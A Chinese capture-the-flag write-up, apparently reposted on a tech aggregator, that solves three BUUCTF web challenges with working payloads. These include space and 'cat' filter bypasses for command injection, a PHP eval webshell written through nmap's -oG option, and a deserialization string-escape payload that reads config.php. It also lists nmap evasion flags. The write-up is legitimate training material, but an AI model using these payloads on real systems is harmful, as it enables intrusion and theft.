IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> BUU刷题Day8 -> 正文阅读

[PHP知识库]BUU刷题Day8

目录

[WUSTCTF2020]朴实无华

总结:

[网鼎杯 2020 朱雀组]Nmap

总结:

[0CTF 2016]piapiapia

总结:


[WUSTCTF2020]朴实无华

好家伙,上来让我黑他,有判头!

robots.txt下面有提示,让我打开

好家伙,buu第二页的题不能就这么出了,应该是套娃!

我就说没这么好心!源代码和控制台啥也找不到,抓包看看头吧

正在上传…重新上传取消

这不就来了!!!!look_at_me~!~~

游戏才刚刚开始!还给我乱码!火狐有解码!

<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
?
?
//level 1
if (isset($_GET['num'])){
 ?  $num = $_GET['num'];
 ?  if(intval($num) < 2020 && intval($num + 1) > 2021){
 ? ? ?  echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
 ?  }else{
 ? ? ?  die("金钱解决不了穷人的本质问题");
 ?  }
}else{
 ?  die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
 ? $md5=$_GET['md5'];
 ? if ($md5==md5($md5))
 ? ? ? echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
 ? else
 ? ? ? die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
 ?  die("去非洲吧");
}
?
//get flag
if (isset($_GET['get_flag'])){
 ?  $get_flag = $_GET['get_flag'];
 ?  if(!strstr($get_flag," ")){
 ? ? ?  $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
 ? ? ?  echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
 ? ? ?  system($get_flag);
 ?  }else{
 ? ? ?  die("快到非洲了");
 ?  }
}else{
 ?  die("去非洲吧");
}
?> 

审!

if (isset($_GET['num'])){
 ?  $num = $_GET['num'];
 ?  if(intval($num) < 2020 && intval($num + 1) > 2021){
 ? ? ?  echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
 ?  }else{
 ? ? ?  die("金钱解决不了穷人的本质问题");
 ?  }
}else{
 ?  die("去非洲吧");
}

秉着没见过什么什么就是考点的原则,没见过intval,intval — 获取变量的整数值,通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

  • 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,

  • 如果字符串以 "0" 开始,使用 8 进制(octal);否则,

  • 将使用 10 进制 (decimal)。

php5中intval处理十六进制字符串有问题,但是intval(字符串+1)会变成数字的

所以第一关就完事

?num=0x1234

来到第二层

if (isset($_GET['md5'])){
 ? $md5=$_GET['md5'];
 ? if ($md5==md5($md5))
 ? ? ? echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
 ? else
 ? ? ? die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
 ?  die("去非洲吧"); 

需要md5后的值和本身的值相等,以前md5套娃做过,翻笔记得到0e215962017

当然可以脚本跑

def run():
 ?  i = 0
 ?  while True:
 ? ? ?  text = '0e{}'.format(i)
 ? ? ?  m = md5(text)
 ? ? ?  print(text,m)
 ? ? ?  if m[0:2] == '0e' :
 ? ? ? ? ?  if m[2:].isdigit():
 ? ? ? ? ? ? ?  find=[]
 ? ? ? ? ? ? ?  print('find it:',text,":",m)
 ? ? ? ? ? ? ?  find = find.append(text)
 ? ? ?  i +=1
 ?  return find
?
t = run()
print(t)

最后一关!

if (isset($_GET['get_flag'])){
 ?  $get_flag = $_GET['get_flag'];
 ?  if(!strstr($get_flag," ")){
 ? ? ?  $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
 ? ? ?  echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
 ? ? ?  system($get_flag);
 ?  }else{
 ? ? ?  die("快到非洲了");
 ?  }
}else{
 ?  die("去非洲吧");
}
?> 

ls看到flag就在当前目录

ban了cat和空格

${IFS}、$IFS$9、<、>、<>、{,}、%20(space)、%09、|等可以代替空格

绕过cat

  • c''at c""at ca$@t

  • tac 从最后一行倒序显示内容,并将所有内容输出

  • more 根据窗口大小,一页一页的现实文件内容

  • less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

  • head 只显示头几行

  • tail 只显示最后几行

  • nl 类似于cat -n,显示时输出行号

  • tailf 类似于tail -f

  • vi编辑有时候可能回显

  • 使用127.0.0.1|tail (flag文件名)

总结:

复习了一下rce绕过的方法

php5中intval处理十六进制字符串有问题,但是intval(字符串+1)会变成数字的

[网鼎杯 2020 朱雀组]Nmap

打开看到页面,好cool!!!猜它是rce!

正在上传…重新上传取消

尝试一下,虽然知道要失败,但是还是要尝试!看到|被\转义了

正在上传…重新上传取消

想起来了前面做的[BUUCTF 2018]Online Tool

那个的payload是

' <?php @eval($_POST["cmd"]);?> -oG fuck.php '

回显hack,应该是被ban了,fuzz一下发现是php

' <?= @eval($_POST["cmd"]);?> -oG fuck.phtml '

咱就是说,咱又不是绕不过去,再加上IP!

127.0.0.1  | ' <?= @eval($_POST["cmd"]);?> -oG fuck.phtml '

蚁剑连接!下一题!

总结:

复习一下nmap?

nmap -v 127.0.0.1                           给出了远程机器更详细的信息,显示冗余信息(扫描细节)
nmap -iL nmaptest.txt                       运行带“iL” 选项的nmap命令来扫描文件中列出的所有IP地址
nmap 192.168.0.* --exclude 192.168.0.100    使用“-exclude”选项来排除某些你不想要扫描的主机
nmap -A 192.168.0.101                       启用操作系统和版本检测,脚本扫描和路由跟踪功能
nmap -O 127.0.0.1                           使用选项“-O”和“-osscan-guess”也帮助探测操作系统信息
nmap -sA 192.168.0.101                      扫描远程主机以探测该主机是否使用了包过滤器或防火墙
nmap -PN 192.168.0.101                      扫描主机检测其是否受到数据包过滤软件或防火墙的保护
nmap -sP 192.168.0.*                        找出网络中的在线主机
nmap -F 192.168.0.101                       快速扫描,仅扫描nmap-services文件中的端口而避开所有其它的端口
nmap -f 192.168.96.4                        使用小数据包发送,避免被识别出
nmap -r 192.168.0.101                       不会随机的选择端口扫描
nmap -p 80,443 192.168.0.101                使用“-P”选项指定你想要扫描的端口
nmap -sV 192.168.0.101                      查找主机服务版本号
nmap -PS 192.168.0.101                      使用TCP ACK和TCP Syn方法来扫描远程主机(防火墙会阻断标ICMP包)
nmap -Pn 192.168.96.4                       目标机禁用ping,绕过ping扫描
nmap -sn 192.168.96.4                       对目标进行ping检测,不进行端口扫描(发送四种报文确定目标是否存活)
nmap -sS 192.168.0.101                      执行一次隐蔽的扫描,安全,快
nmap -sT 192.168.0.101                      使用TCP Syn扫描最常用的端口,不安全,慢
nmap -sN 192.168.0.101                      执行TCP空扫描以骗过防火墙
nmap -sI 僵尸ip 目标ip                      使用僵尸机对目标机发送数据包
nmap 192.168.96.4 -oX myscan.xml            对扫描结果另存在myscan.xml
nmap -T1~6 192.168.96.4                     设置扫描速度,一般T4足够
nmap –mtu <size> 192.168.96.4               发送的包大小,最大传输单元必须是8的整数
nmap -D <假ip> 192.168.96.4                  发送参杂着假ip的数据包检测
继续中断扫描:
    nmap –oG 1.txt –v 192.168.1.1/24            -oG将扫描结果保存为TXT,Ctrl+C中断扫描
    Nmap –resume 1.txt                          作用:继续扫描

正在上传…重新上传取消

写🐎yyds!!

[0CTF 2016]piapiapia

经历了小风小浪的洗礼,我终于不是那个见到登录框就疯狂注入注入的傻孩子了!现在的我!先看源代码再看F12然后一边扫描一边注入,扫到了/www.zip可以down源码!

down下来后发现了register.php注册完登陆进去发现了上传点,打开update.php审计一下!

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First'); 
    }
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
?
        $username = $_SESSION['username'];
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');
?
        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');
        
        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');
?
        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');
?
        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);
?
        $user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
    }
    else {
?>
<!DOCTYPE html>
<html>
<head>
 ? <title>UPDATE</title>
 ? <link href="static/bootstrap.min.css" rel="stylesheet">
 ? <script src="static/jquery.min.js"></script>
 ? <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px"> ?
        <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> 
            <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
            <h3>Please Update Your Profile</h3>
            <label>Phone:</label>
            <input type="text" name="phone" style="height:30px"class="span3"/>
            <label>Email:</label>
            <input type="text" name="email" style="height:30px"class="span3"/>
            <label>Nickname:</label>
            <input type="text" name="nickname" style="height:30px" class="span3">
            <label for="file">Photo:</label>
            <input type="file" name="photo" style="height:30px"class="span3"/>
            <button type="submit" class="btn btn-primary">UPDATE</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>
 

好多正则匹配,,而且第三个正则表达式和前面两个不一样,这里判断了nickname是否为字符还有长度是否超过10。如果我们传入的nickname是一个数组,绕过长度的限制,则可以绕过这正则表达式,是我们不会die出。

在代码的后面调用update_profile处我们想到这个可能是将数据保存到数据库,而且还用了php序列化serialize(),我们可以大胆的尝试用反序列化漏洞来搞一下。

前面有一个题是反序列化字符逃逸,这个题也是!

我们再看看update_profile()到底是个啥,使用全局搜索我们在class.php中看到了定义的update_profile()方法

 public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);
?
        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }

我们再继续追寻下去

filter()

 public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);
?
        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

update()

    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }

update.php我们基本上就搞清楚了,是先经过正则表达式将用户提交的参数值过滤,然后序列化,然后将非法的值替换为'hacker'

我们再看看profile.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First'); 
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>

我们可以看到这里有反序列化还有文件读取,我们对这道题应该有了大致的思路了。flag在config.php中,而且有序列化,过滤替换,反序列化,文件读取,反序列字符逃逸。我们构造包含config.php的数据,利用字符串逃逸,在profile.php中读取出来

payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

总结:

复习反序列化!

复习字符串逃逸!

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-04-04 11:48:41  更:2022-04-04 11:49:03 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 7:19:12-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码